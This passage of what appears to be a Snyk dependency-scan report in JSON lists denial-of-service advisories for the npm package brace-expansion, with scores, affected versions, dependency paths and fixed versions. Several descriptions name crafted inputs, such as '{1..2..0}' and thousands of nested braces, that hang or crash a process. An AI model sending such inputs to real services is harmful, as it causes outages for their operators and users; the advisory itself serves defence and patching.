"GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub 